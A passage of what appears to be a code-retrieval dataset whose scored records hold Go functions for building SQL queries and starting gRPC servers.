`itest` (\n\t\t\t`id` int(11) DEFAULT NULL,\n\t\t \t`name` varchar(24) DEFAULT NULL\n\t\t\t) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin |\n\t\t+-------+--------------------------------------------------------------------+\n\t*/\n\tquery := fmt.Sprintf(\"SHOW CREATE TABLE %s\", TableName(schemaName, tableName))\n\n\tvar tbl, createTable sql.NullString\n\terr := db.QueryRowContext(ctx, query).Scan(&tbl, &createTable)\n\tif err != nil {\n\t\treturn \"\", errors.Trace(err)\n\t}\n\tif !tbl.Valid || !createTable.Valid {\n\t\treturn \"\", errors.NotFoundf(\"table %s\", tableName)\n\t}\n\n\treturn createTable.String, nil\n}", "title": "" }, { "docid": "67239d9ea6bd037a835a916c9c8e01f6", "score": "0.4560681", "text": "func GenerateSelectOneSQL(dbTable DbTableMeta) (string, error) {\n\tprimaryCnt := PrimaryKeyCount(dbTable)\n\n\tif primaryCnt == 0 {\n\t\treturn \"\", fmt.Errorf(\"table %s does not have a primary key, cannot generate sql\", dbTable.TableName())\n\t}\n\n\tbuf := bytes.Buffer{}\n\tbuf.WriteString(fmt.Sprintf(\"SELECT * FROM `%s` WHERE \", dbTable.TableName()))\n\n\tpastFirst := false\n\tpos := 1\n\tfor _, col := range dbTable.Columns() {\n\t\tif col.IsPrimaryKey() {\n\t\t\tif pastFirst {\n\t\t\t\tbuf.WriteString(\" AND \")\n\t\t\t}\n\n\t\t\tbuf.WriteString(fmt.Sprintf(\"%s = ?\", col.Name()))\n\t\t\tpos++\n\t\t\tpastFirst = true\n\t\t}\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "72d2cdf68e0e1efe724974376f4d9808", "score": "0.45602772", "text": "func (q *Query) SQL(sql string) *Query {\n\tq.sql = sql\n\tq.reset()\n\treturn q\n}", "title": "" }, { "docid": "ac097c4e6bc5dd75432d29560ea47d55", "score": "0.45559064", "text": "func (d MySQLDialect) ToSqlType(col *ColumnMap) string {\n\tswitch col.gotype.Kind() {\n\tcase reflect.Bool:\n\t\treturn \"boolean\"\n\tcase reflect.Int, reflect.Int16, reflect.Int32, reflect.Uint16, reflect.Uint32:\n\t\treturn \"int\"\n\tcase reflect.Int64, reflect.Uint64:\n\t\treturn \"bigint\"\n\tcase reflect.Float64, reflect.Float32:\n\t\treturn \"double\"\n\tcase reflect.Slice:\n\t\tif col.gotype.Elem().Kind() == reflect.Uint8 {\n\t\t\treturn \"mediumblob\"\n\t\t}\n\t}\n\n\tswitch col.gotype.Name() {\n\tcase \"NullableInt64\":\n\t\treturn \"bigint\"\n\tcase \"NullableFloat64\":\n\t\treturn \"double\"\n\tcase \"NullableBool\":\n\t\treturn \"tinyint\"\n\tcase \"NullableBytes\":\n\t\treturn \"mediumblob\"\n\tcase \"Time\", \"NullTime\":\n\t\treturn \"datetime\"\n\t}\n\n\tmaxsize := col.MaxSize\n\tif col.MaxSize < 1 {\n\t\tmaxsize = 255\n\t}\n\treturn fmt.Sprintf(\"varchar(%d)\", maxsize)\n}", "title": "" }, { "docid": "313ad2ca4ca4fdb489bb448a6f5942f4", "score": "0.45538527", "text": "func (u *__PostMentioned_Selector) _stoSql() (string, []interface{}) {\n\tsqlWherrs, whereArgs := whereClusesToSql(u.wheres, u.whereSep)\n\n\tsqlstr := \"SELECT \" + u.selectCol + \" FROM sun.post_mentioned\"\n\n\tif len(strings.Trim(sqlWherrs, \" \")) > 0 { //2 for safty\n\t\tsqlstr += \" WHERE \" + sqlWherrs\n\t}\n\n\tif u.orderBy != \"\" {\n\t\tsqlstr += u.orderBy\n\t}\n\n\tif u.limit != 0 {\n\t\tsqlstr += \" LIMIT \" + strconv.Itoa(u.limit)\n\t}\n\n\tif u.offset != 0 {\n\t\tsqlstr += \" OFFSET \" + strconv.Itoa(u.offset)\n\t}\n\treturn sqlstr, whereArgs\n}", "title": "" }, { "docid": "1f917f2cb6533e7fad7916f5a523e965", "score": "0.4550521", "text": "func mysqlWrite(cfg interface{}, name string, body []byte) error {\n\tif err := mysqlInit(cfg); err != nil || conn == nil {\n\t\treturn err\n\t}\n\terr := execSQL(\"INSERT INTO \"+types.MyDBName+\".config(name,body) VALUES (?,?)\", name, body)\n\tif err != nil {\n\t\terr = conn.Close()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tconn = nil\n\t}\n\treturn err\n}", "title": "" }, { "docid": "105ad5ce52c63c296361cc6347ba2d08", "score": "0.4548676", "text": "func GetInSqlTableNames(tableNames []string) string {\n\tif len(tableNames) == 0 {\n\t\treturn \"\"\n\t}\n\tvar sqlInTable string\n\tfor _, table := range tableNames {\n\t\tsqlInTable += \"'\" + strings.TrimSpace(table) + \"',\"\n\t}\n\treturn sqlInTable[:len(sqlInTable)-1]\n}", "title": "" }, { "docid": "ed73f83c73dfc532afc4fe7110cd55ea", "score": "0.45482084", "text": "func (tbl *TableInfo) ToSQL() (string, []interface{}) {\n\tif tbl == nil {\n\t\treturn \"\", nil\n\t}\n\tif tbl.Schema == \"public\" {\n\t\treturn tbl.Name, nil\n\t}\n\treturn tbl.Schema + \".\" + tbl.Name, nil\n}", "title": "" }, { "docid": "24bf2ab5f0bb781fc783386a1eedab9c", "score": "0.45444152", "text": "func (q Query) ToSQL() (string, []interface{}) {\n\tsql := q.SQL\n\tif q.NumberArgs {\n\t\t// convert to $1 arg placeholders\n\t\tphs := []interface{}{}\n\t\tfor i := 1; i <= len(q.Args); i++ {\n\t\t\tphs = append(phs, fmt.Sprintf(\"$%d\", i))\n\t\t}\n\t\tsql = fmt.Sprintf(strings.Replace(q.SQL, \"?\", \"%v\", -1), phs...)\n\t}\n\treturn sql, q.Args\n}", "title": "" }, { "docid": "6ea116007b60250433ca67d9f9881a70", "score": "0.45437467", "text": "func (u *__Like_Selector) _stoSql() (string, []interface{}) {\n\tsqlWherrs, whereArgs := whereClusesToSql(u.wheres, u.whereSep)\n\n\tsqlstr := \"SELECT \" + u.selectCol + \" FROM ms.likes\"\n\n\tif len(strings.Trim(sqlWherrs, \" \")) > 0 { //2 for safty\n\t\tsqlstr += \" WHERE \" + sqlWherrs\n\t}\n\n\tif u.orderBy != \"\" {\n\t\tsqlstr += u.orderBy\n\t}\n\n\tif u.limit != 0 {\n\t\tsqlstr += \" LIMIT \" + strconv.Itoa(u.limit)\n\t}\n\n\tif u.offset != 0 {\n\t\tsqlstr += \" OFFSET \" + strconv.Itoa(u.offset)\n\t}\n\treturn sqlstr, whereArgs\n}", "title": "" }, { "docid": "5a7727d86a9f8484d24f7b8d06c92589", "score": "0.4542703", "text": "func (f DeviceProfileFilters) SQL() string {\n\tvar filters []string\n\n\tif f.ApplicationID != 0 {\n\t\t// Filter on organization_id too since dp > network-server > service-profile > application\n\t\t// join.\n\t\tfilters = append(filters, \"a.id = :application_id and dp.organization_id = a.organization_id\")\n\t}\n\n\tif f.OrganizationID != 0 {\n\t\tfilters = append(filters, \"o.id = :organization_id\")\n\t}\n\n\tif f.UserID != 0 {\n\t\tfilters = append(filters, \"u.id = :user_id\")\n\t}\n\n\tif len(filters) == 0 {\n\t\treturn \"\"\n\t}\n\n\treturn \"where \" + strings.Join(filters, \" and \")\n}", "title": "" }, { "docid": "af7716371d023694960c956217faeac6", "score": "0.45384315", "text": "func (q *UpdateQuery) ToSQL() (string, []interface{}) {\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"UPDATE \")\n\tbuffer.WriteString(q.Table)\n\n\tif len(q.Columns) > 0 {\n\t\tbuffer.WriteString(\" SET \")\n\t\tfor i, column := range q.Columns {\n\t\t\tif i > 0 {\n\t\t\t\tbuffer.WriteString(\", \")\n\t\t\t}\n\t\t\tbuffer.WriteString(column)\n\t\t\tbuffer.WriteString(\" = ?\")\n\t\t}\n\t}\n\n\twhere, whereValues := q.Where.ToSQL()\n\tif where != \"\" {\n\t\tbuffer.WriteString(\" WHERE \")\n\t\tbuffer.WriteString(where)\n\t}\n\n\tvalues := make([]interface{}, len(q.Values)+len(whereValues))\n\tcopy(values, q.Values)\n\tcopy(values[len(q.Values):], whereValues)\n\n\treturn buffer.String(), values\n}", "title": "" }, { "docid": "11eae7802b4b0a2ba2c3b18fb92c2374", "score": "0.45379576", "text": "func (q *Query) QueryString() string {\n\n\tif q.sql == \"\" {\n\n\t\t// if we have arguments override the selector\n\t\tif q.sel == \"\" {\n\t\t\t// Note q.table() etc perform quoting on field names\n\t\t\tq.sel = fmt.Sprintf(\"SELECT %s.* FROM %s\", q.table(), q.table())\n\t\t}\n\n\t\tq.sql = fmt.Sprintf(\"%s %s %s %s %s %s %s %s\", q.sel, q.join, q.where, q.group, q.having, q.order, q.offset, q.limit)\n\t\tq.sql = strings.TrimRight(q.sql, \" \")\n\t\tq.sql = strings.Replace(q.sql, \" \", \" \", -1)\n\t\tq.sql = strings.Replace(q.sql, \" \", \" \", -1)\n\n\t\t// Replace ? with whatever placeholder db prefers\n\t\tq.replaceArgPlaceholders()\n\n\t\tq.sql = q.sql + \";\"\n\t}\n\n\treturn q.sql\n}", "title": "" }, { "docid": "f8e14432c794a628b6a969612256b3c5", "score": "0.45308778", "text": "func (q *SelectQuery) ToSQL() (string, []interface{}) {\n\tvar buffer bytes.Buffer\n\n\tbuffer.WriteString(\"SELECT \")\n\tfor i, column := range q.Columns {\n\t\tif i > 0 {\n\t\t\tbuffer.WriteString(\", \")\n\t\t}\n\t\tbuffer.WriteString(column)\n\t}\n\tbuffer.WriteString(\" FROM \")\n\tbuffer.WriteString(q.Table)\n\n\tif len(q.Options.ForceIndex) > 0 {\n\t\tbuffer.WriteString(\" FORCE INDEX(\")\n\t\tbuffer.WriteString(strings.Join(q.Options.ForceIndex, \",\"))\n\t\tbuffer.WriteString(\")\")\n\t} else if len(q.Options.UseIndex) > 0 {\n\t\tbuffer.WriteString(\" USE INDEX(\")\n\t\tbuffer.WriteString(strings.Join(q.Options.UseIndex, \",\"))\n\t\tbuffer.WriteString(\")\")\n\t}\n\n\tif q.Options.Where != \"\" {\n\t\tbuffer.WriteString(\" WHERE \")\n\t\tbuffer.WriteString(q.Options.Where)\n\t}\n\n\tif q.Options.OrderBy != \"\" {\n\t\tbuffer.WriteString(\" ORDER BY \")\n\t\tbuffer.WriteString(q.Options.OrderBy)\n\t}\n\n\tif q.Options.Limit != 0 {\n\t\tbuffer.WriteString(\" LIMIT \")\n\t\tfmt.Fprint(&buffer, q.Options.Limit)\n\t}\n\n\tif q.Options.ForUpdate {\n\t\tbuffer.WriteString(\" FOR UPDATE\")\n\t}\n\n\treturn buffer.String(), q.Options.Values\n}", "title": "" }, { "docid": "153303b61c64b5880e81e98c14951410", "score": "0.45233783", "text": "func regUpdate2Select(sql string) string {\n\tsql = strings.TrimSpace(sql)\n\tsqlRegexp := regexp.MustCompile(`^(?i)update\\s+(.*)\\s+set\\s+(.*)\\s+(where\\s+.*)$`)\n\tparams := sqlRegexp.FindStringSubmatch(sql)\n\tif len(params) > 2 {\n\t\treturn fmt.Sprintf(`select * from %s %s`, params[1], params[3])\n\t}\n\treturn sql\n}", "title": "" }, { "docid": "706eaeb8c53c1979995fe7e25ac73dab", "score": "0.4520974", "text": "func (q *Query) ToSQL() string {\n\treturn q.buildSQL()\n}", "title": "" } ]
43d3c78a5509f8adad29fe30a0804260
ServeGRPC function that creates grpc server
[ { "docid": "ef037ffe0a721b72cdf8920117844424", "score": "0.77015406", "text": "func ServeGRPC(config ServiceConfig, logger log.Logger, errs chan error) {\n\taddress := fmt.Sprintf(\"%s.%s:%s\", os.Getenv(\"APP_NAME\"), os.Getenv(\"DOMAIN\"), os.Getenv(\"APP_PORT\"))\n\tbaseServer, err := NewGRPCBaseServer()\n\tif err != nil {\n\t\tlogger.Log(\"transport\", \"GRPC\", \"err\", err.Error())\n\t\terrs <- err\n\t}\n\n\tgrpcListener, err := net.Listen(\"tcp\", address)\n\tlogger.Log(\"transport\", \"GRPC\", \"addr\", address)\n\tif err != nil {\n\t\tlogger.Log(\"transport\", \"GRPC\", \"err\", err.Error())\n\t\terrs <- err\n\t}\n\ts := NewService(config)\n\n\tprotoServer := NewProtoServer(s)\n\tpb.Register<%= serviceName %>Server(baseServer, protoServer)\n\treflection.Register(baseServer)\n\n\terr = baseServer.Serve(grpcListener)\n\tif err != nil {\n\t\tlogger.Log(\"transport\", \"GRPC\", \"err\", err.Error())\n\t\terrs <- err\n\t}\n\n}", "title": "" } ]
[ { "docid": "1a8e7cdfe7c6fc7e6d9e528b62329960", "score": "0.77479684", "text": "func ServeGRPC(server *grpc.Server) {\n\n\t// Start listener\n\tln, _ := net.Listen(\"tcp\", fmt.Sprintf(\"%s:%d\", assets.ServerConfiguration.ServerHost, assets.ServerConfiguration.ServerPort))\n\n\t// Start server\n\tfmt.Println(tui.Green(\"gRPC:\") + \" Wiregost server running on \" +\n\t\tassets.ServerConfiguration.ServerHost + \":\" +\n\t\tstrconv.Itoa(assets.ServerConfiguration.ServerPort))\n\n\tserver.Serve(ln)\n}", "title": "" }, { "docid": "5264601aeeeb921ed48de8ec725fa20a", "score": "0.7486741", "text": "func ServeGRPC(ctx context.Context, opts ...GRPCOption) error {\n\tc := defaultGRPCConfig()\n\tfor _, opt := range opts {\n\t\topt(&c)\n\t}\n\n\tsvr := grpc.NewServer(c.serverOptions...)\n\tfor _, svc := range c.services {\n\t\tsvc.Register(svr)\n\t}\n\n\thsvr := health.RegisterGRPCHealthServer(svr)\n\tlis, err := net.Listen(\"tcp\", \":5000\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to start listener: %w\", err)\n\t}\n\n\tgrp, ctx := errgroup.WithContext(ctx)\n\tgrp.Go(func() error {\n\t\tlogging.WithField(\"port\", \":5000\").Info(\"serving gRPC\")\n\t\treturn svr.Serve(lis)\n\t})\n\tgrp.Go(func() error {\n\t\treturn health.ServeGRPC(ctx, hsvr)\n\t})\n\tgrp.Go(func() error {\n\t\t<-ctx.Done()\n\t\tsvr.GracefulStop()\n\t\treturn nil\n\t})\n\n\terr = grp.Wait()\n\tswitch {\n\tcase errors.Is(err, grpc.ErrServerStopped):\n\t\tlogging.Info(\"server shut down\")\n\t\treturn nil\n\tcase err != nil:\n\t\treturn err\n\tdefault:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "54a92e81dc8d6a6e1816feec96c76ba7", "score": "0.7378195", "text": "func GRPC(cmd *cobra.Command, args []string) {\n\tconfig, err := NewConfig(configFile)\n\tif err != nil {\n\t\tlog.Fatal().\n\t\t\tErr(err).\n\t\t\tMsg(\"unable initialize config\")\n\t}\n\tif err := logger.SetLogLevel(config.Logger.Level); err != nil {\n\t\tlog.Fatal().\n\t\t\tErr(err).\n\t\t\tMsg(\"unable to initialize logger\")\n\t}\n\tstorage, err := helper.CreateStorage(\n\t\tconfig.DB.Type,\n\t\tconfig.DB.Host,\n\t\tconfig.DB.Port,\n\t\tconfig.DB.User,\n\t\tconfig.DB.Password,\n\t\tconfig.DB.Name,\n\t\tconfig.DB.SSLMode,\n\t)\n\tif err != nil {\n\t\tlog.Fatal().Err(err).Msg(\"unable to initialize storage\")\n\t}\n\tdefer storage.Close()\n\n\tlsn, err := net.Listen(\"tcp\", net.JoinHostPort(config.GRPC.Host, strconv.Itoa(config.GRPC.Port)))\n\tif err != nil {\n\t\tlog.Error().Err(err).Msg(\"\")\n\n\t\treturn\n\t}\n\n\tserver := grpc.NewServer(grpc.UnaryInterceptor(internalgrpc.LoggingInterceptor))\n\tservice := internalgrpc.New(app.New(storage))\n\tinternalgrpc.RegisterEventsServer(server, service)\n\n\tgo func() {\n\t\tsignals := make(chan os.Signal, 1)\n\t\tsignal.Notify(signals, os.Interrupt)\n\n\t\t<-signals\n\t\tsignal.Stop(signals)\n\n\t\tserver.GracefulStop()\n\t}()\n\n\tlog.Info().Msgf(\"Starting server on %s\", lsn.Addr().String())\n\n\tif err := server.Serve(lsn); err != nil {\n\t\tlog.Error().Err(err).\n\t\t\tMsg(\"failed to start grpc server\")\n\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "52283b7fb3c3f21989be02d6d83b623d", "score": "0.73358595", "text": "func startGRPCServer(address string) error {\n\n\tlogging.GetLogger().Info(\"Starting GRPC server at : %s\", address)\n\n\t// create a listener on TCP\n\tlis, err := net.Listen(\"tcp\", address)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to start GRPC server: %v\", err)\n\t}\n\n\tlogging.GetLogger().Info(\"Started GRPC server on : %s\", address)\n\n\t// create a server instance\n\ts := api.Server{}\n\n\t// create a gRPC server object\n\tgrpcServer := grpc.NewServer()\n\n\t// attach the Ping service to the server\n\tapi.RegisterPingServer(grpcServer, &s)\n\n\t// start the server\n\tif err := grpcServer.Serve(lis); err != nil {\n\t\treturn fmt.Errorf(\"Failed to serve: %s\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "6ac77c2b889ea96c2f5515957a87727d", "score": "0.7326615", "text": "func runGrpc(grpcServer *grpc.Server, grpcEndpoint string) {\n\tlis, err := net.Listen(\"tcp\", grpcEndpoint)\n\tif err != nil {\n\t\tklog.Fatalf(\"Could not listen on grpc endpoint err: %v\", err)\n\t}\n\n\tklog.Infof(\"Starting SDKServer grpc service with grpcEndpoint: %v\", grpcEndpoint)\n\tif err := grpcServer.Serve(lis); err != nil {\n\t\tklog.Fatalf(\"Could not serve grpc server err: %v\", err)\n\t}\n}", "title": "" }, { "docid": "9f6c6ae171d7527498ec43349821d42f", "score": "0.728697", "text": "func handleGRPCServer(ctx context.Context, u *url.URL, endpoints *endpoints, wg *sync.WaitGroup, errc chan error, logger *log.Logger, debug bool) {\n\t// Setup goa log adapter.\n\tvar (\n\t\tadapter middleware.Logger\n\t)\n\t{\n\t\tadapter = middleware.NewLogger(logger)\n\t}\n\n\t// Wrap the endpoints with the transport specific layers. The generated\n\t// server packages contains code generated from the design which maps\n\t// the service input and output data structures to gRPC requests and\n\t// responses.\n\tvar (\n\t\tapplicationServer *applicationsvr.Server\n\t\trunnableServer *runnablesvr.Server\n\t\tcodesetServer *codesetsvr.Server\n\t\tprojectServer *projectsvr.Server\n\t\tworkflowServer *workflowsvr.Server\n\t\textensionServer *extensionsvr.Server\n\t)\n\t{\n\t\tapplicationServer = applicationsvr.New(endpoints.application, nil)\n\t\trunnableServer = runnablesvr.New(endpoints.runnable, nil)\n\t\tcodesetServer = codesetsvr.New(endpoints.codeset, nil)\n\t\tprojectServer = projectsvr.New(endpoints.project, nil)\n\t\tworkflowServer = workflowsvr.New(endpoints.workflow, nil)\n\t\textensionServer = extensionsvr.New(endpoints.extension, nil)\n\t}\n\n\t// Initialize gRPC server with the middleware.\n\tsrv := grpc.NewServer(\n\t\tgrpcmiddleware.WithUnaryServerChain(\n\t\t\tgrpcmdlwr.UnaryRequestID(),\n\t\t\tgrpcmdlwr.UnaryServerLog(adapter),\n\t\t),\n\t)\n\n\t// Register the servers.\n\tapplicationpb.RegisterApplicationServer(srv, applicationServer)\n\trunnablepb.RegisterRunnableServer(srv, runnableServer)\n\tcodesetpb.RegisterCodesetServer(srv, codesetServer)\n\tprojectpb.RegisterProjectServer(srv, projectServer)\n\tworkflowpb.RegisterWorkflowServer(srv, workflowServer)\n\textensionpb.RegisterExtensionServer(srv, extensionServer)\n\n\tfor svc, info := range srv.GetServiceInfo() {\n\t\tfor _, m := range info.Methods {\n\t\t\tlogger.Printf(\"serving gRPC method %s\", svc+\"/\"+m.Name)\n\t\t}\n\t}\n\n\t// Register the server reflection service on the server.\n\t// See https://grpc.github.io/grpc/core/md_doc_server-reflection.html.\n\treflection.Register(srv)\n\n\t(*wg).Add(1)\n\tgo func() {\n\t\tdefer (*wg).Done()\n\n\t\t// Start gRPC server in a separate goroutine.\n\t\tgo func() {\n\t\t\tlis, err := net.Listen(\"tcp\", u.Host)\n\t\t\tif err != nil {\n\t\t\t\terrc <- err\n\t\t\t}\n\t\t\tlogger.Printf(\"gRPC server listening on %q\", u.Host)\n\t\t\terrc <- srv.Serve(lis)\n\t\t}()\n\n\t\t<-ctx.Done()\n\t\tlogger.Printf(\"shutting down gRPC server at %q\", u.Host)\n\t\tsrv.Stop()\n\t}()\n}", "title": "" }, { "docid": "b5aefd371403bdea53d7e899f41b9010", "score": "0.7277303", "text": "func GRPC(ctx context.Context,\n\taddr string, l logger.Logger, connFactory *secureconn.Factory,\n\te engine.Engine, migrationsConfig migration.Config,\n\tdataMigrationsConfig datamigration.Config, eventServiceAddress string) error {\n\n\tgrpclog.SetLoggerV2(l)\n\tlist, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tl.Printf(\"Authz GRPC API listening on %s\", addr)\n\n\tserver, err := NewGRPCServer(ctx, connFactory, l, e, migrationsConfig,\n\t\tdataMigrationsConfig, eventServiceAddress)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn server.Serve(list)\n}", "title": "" }, { "docid": "f059455b85f2f02f43b971a47f64f5ff", "score": "0.7255635", "text": "func GRPC(ctx Ctx, addr netx.Addr, srv *grpc.Server, service string) (err error) {\n\tlog := structlog.FromContext(ctx, nil).New(def.LogServer, service)\n\n\tln, err := net.Listen(\"tcp\", addr.String())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Info(\"serve\", def.LogHost, addr.Host(), def.LogPort, addr.Port())\n\terrc := make(chan error, 1)\n\tgo func() { errc <- srv.Serve(ln) }()\n\n\tselect {\n\tcase err = <-errc:\n\tcase <-ctx.Done():\n\t\tsrv.GracefulStop() // It will not interrupt streaming.\n\t}\n\tif err != nil {\n\t\treturn log.Err(\"failed to serve\", \"err\", err)\n\t}\n\tlog.Info(\"shutdown\")\n\treturn nil\n}", "title": "" }, { "docid": "1c877f00958762a92a1b5ccfd66b6911", "score": "0.7244255", "text": "func NewGRPCServer(\n\tconf config.Config,\n\tlogger *logrus.Entry,\n\tregistry *protoregistry.Registry,\n\tdirector proxy.StreamDirector,\n\ttxMgr *transactions.Manager,\n\trs datastore.RepositoryStore,\n\tassignmentStore AssignmentStore,\n\tconns Connections,\n\tprimaryGetter PrimaryGetter,\n\tcreds credentials.TransportCredentials,\n\tgrpcOpts ...grpc.ServerOption,\n) *grpc.Server {\n\tstreamInterceptors := []grpc.StreamServerInterceptor{\n\t\tgrpcmwtags.StreamServerInterceptor(ctxtagsInterceptorOption()),\n\t\tgrpccorrelation.StreamServerCorrelationInterceptor(), // Must be above the metadata handler\n\t\tmiddleware.MethodTypeStreamInterceptor(registry),\n\t\tmetadatahandler.StreamInterceptor,\n\t\tgrpcprometheus.StreamServerInterceptor,\n\t\tgrpcmwlogrus.StreamServerInterceptor(logger,\n\t\t\tgrpcmwlogrus.WithTimestampFormat(log.LogTimestampFormat)),\n\t\tsentryhandler.StreamLogHandler,\n\t\tcancelhandler.Stream, // Should be below LogHandler\n\t\tgrpctracing.StreamServerTracingInterceptor(),\n\t\tauth.StreamServerInterceptor(conf.Auth),\n\t\t// Panic handler should remain last so that application panics will be\n\t\t// converted to errors and logged\n\t\tpanichandler.StreamPanicHandler,\n\t}\n\n\tgrpcOpts = append(grpcOpts, proxyRequiredOpts(director)...)\n\tgrpcOpts = append(grpcOpts, []grpc.ServerOption{\n\t\tgrpc.StreamInterceptor(grpcmw.ChainStreamServer(streamInterceptors...)),\n\t\tgrpc.UnaryInterceptor(grpcmw.ChainUnaryServer(\n\t\t\tappend(\n\t\t\t\tcommonUnaryServerInterceptors(logger),\n\t\t\t\tmiddleware.MethodTypeUnaryInterceptor(registry),\n\t\t\t\tauth.UnaryServerInterceptor(conf.Auth),\n\t\t\t)...,\n\t\t)),\n\t\tgrpc.KeepaliveEnforcementPolicy(keepalive.EnforcementPolicy{\n\t\t\tMinTime: 20 * time.Second,\n\t\t\tPermitWithoutStream: true,\n\t\t}),\n\t\tgrpc.KeepaliveParams(keepalive.ServerParameters{\n\t\t\tTime: 5 * time.Minute,\n\t\t}),\n\t}...)\n\n\t// Accept backchannel connections so that we can proxy sidechannels\n\t// from clients (e.g. Workhorse) to a backend Gitaly server.\n\tif creds == nil {\n\t\tcreds = insecure.NewCredentials()\n\t}\n\tlm := listenmux.New(creds)\n\tlm.Register(backchannel.NewServerHandshaker(logger, backchannel.NewRegistry(), nil))\n\tgrpcOpts = append(grpcOpts, grpc.Creds(lm))\n\n\twarnDupeAddrs(logger, conf)\n\n\tsrv := grpc.NewServer(grpcOpts...)\n\tregisterServices(srv, txMgr, conf, rs, assignmentStore, service.Connections(conns), primaryGetter)\n\n\tif conf.Failover.ElectionStrategy == config.ElectionStrategyPerRepository {\n\t\tproxy.RegisterStreamHandlers(srv, \"gitaly.RepositoryService\", map[string]grpc.StreamHandler{\n\t\t\t\"RepositoryExists\": RepositoryExistsHandler(rs),\n\t\t\t\"RemoveRepository\": RemoveRepositoryHandler(rs, conns),\n\t\t})\n\t\tproxy.RegisterStreamHandlers(srv, \"gitaly.ObjectPoolService\", map[string]grpc.StreamHandler{\n\t\t\t\"DeleteObjectPool\": DeleteObjectPoolHandler(rs, conns),\n\t\t})\n\t}\n\n\treturn srv\n}", "title": "" }, { "docid": "b8b7d61b5834324b836a4145ab9b5a11", "score": "0.7243807", "text": "func (server *Server) RunGRPC() {\n\tfmt.Println(\"Listening to port 50051\")\n\tlis, err := net.Listen(\"tcp\", \"0.0.0.0:50051\")\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to listen: %v\", err)\n\t}\n\n\ts := grpc.NewServer()\n\trpc.RegisterEventServiceServer(s, &Server{})\n\n\treflection.Register(s)\n\n\tif err := s.Serve(lis); err != nil {\n\t\tlog.Fatalf(\"Failed to serve: %v\", err)\n\t}\n}", "title": "" }, { "docid": "ad4bcc6786c71b7b7105035f6d0a8e7d", "score": "0.71956354", "text": "func (s *server) listenAndServeGRPCAPI() error {\n\tport := strconv.Itoa(s.cfg.Port)\n\tl, err := net.Listen(\"tcp\", \":\"+port)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn s.grpcSrv.Serve(l)\n}", "title": "" }, { "docid": "1d838c42119dbfa6cc263a1b09c8e11b", "score": "0.7195578", "text": "func startGRPCServer() {\n\tlis, err := net.Listen(\"tcp\", GRPC_PORT)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to listen: %v\", err)\n\t}\n\ts := grpc.NewServer(withServerUnaryInterceptor())\n\tpb.RegisterDayTraderServer(s, &server{})\n\t// Register reflection service on gRPC server.\n\treflection.Register(s)\n\tif err := s.Serve(lis); err != nil {\n\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t}\n}", "title": "" }, { "docid": "785b4b45edaa28e140545e5f775bc97f", "score": "0.71326697", "text": "func GrpcServe(host string, gerdu cache.UnImplementedCache) {\n\ts := grpc.NewServer()\n\tgrpcServe(s, host, gerdu)\n}", "title": "" }, { "docid": "fe452001a1c158371ebaed53a963029d", "score": "0.7131174", "text": "func newGRPCServer(listeningAddresses []string, maxMessageSize int, maxInboundConnections int, name string) *gRPCServer {\n\tlog.Debugf(\"Created new %s GRPC server with maxMessageSize %d and maxInboundConnections %d\", name, maxMessageSize, maxInboundConnections)\n\treturn &gRPCServer{\n\t\tserver: grpc.NewServer(grpc.MaxRecvMsgSize(maxMessageSize), grpc.MaxSendMsgSize(maxMessageSize)),\n\t\tlisteningAddresses: listeningAddresses,\n\t\tname: name,\n\t\tmaxInboundConnections: maxInboundConnections,\n\t\tinboundConnectionCount: 0,\n\t\tinboundConnectionCountLock: &sync.Mutex{},\n\t}\n}", "title": "" }, { "docid": "446e8b95aeced3bec42a396b7bffc4a0", "score": "0.7124247", "text": "func (s *GrpcServer) Serve(listenAddr string, errChan chan error) {\n\tlisten, err := net.Listen(\"tcp\", listenAddr)\n\tif err != nil {\n\t\terrChan <- err\n\t\treturn\n\t}\n\taddr := listen.Addr().String()\n\ts.address <- addr\n\ts.grpcServer = grpc.NewServer()\n\tRegisterDriverServer(s.grpcServer, s)\n\treflection.Register(s.grpcServer)\n\tlogrus.Debugf(\"RPC GrpcServer listening on address %s\", addr)\n\tif err := s.grpcServer.Serve(listen); err != nil {\n\t\terrChan <- err\n\t}\n}", "title": "" }, { "docid": "84506df3b293e0b8fa524cc73ad65e73", "score": "0.71014965", "text": "func (server *GrpcServer) Serve() error {\n\tlog.Printf(\"Starting grpc server...\")\n\t// create a listener on TCP port\n\twlis, err := net.Listen(\"tcp\", server.WebAddress)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen: %v\", err)\n\t}\n\n\ts := services.PingService{}\n\tgrpcServer := grpc.NewServer()\n\n\tapi.RegisterPingServer(grpcServer, &s)\n\n\tgrpcWebServer := grpcweb.WrapServer(grpcServer)\n\n\thttpServer := &http.Server{\n\t\tHandler: h2c.NewHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tif r.ProtoMajor == 2 {\n\t\t\t\tgrpcWebServer.ServeHTTP(w, r)\n\t\t\t} else {\n\t\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\t\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-User-Agent, X-Grpc-Web\")\n\t\t\t\tw.Header().Set(\"grpc-status\", \"\")\n\t\t\t\tw.Header().Set(\"grpc-message\", \"\")\n\t\t\t\tif grpcWebServer.IsGrpcWebRequest(r) {\n\t\t\t\t\tgrpcWebServer.ServeHTTP(w, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}), &http2.Server{}),\n\t}\n\thttpServer.Serve(wlis)\n\n\treturn nil\n}", "title": "" 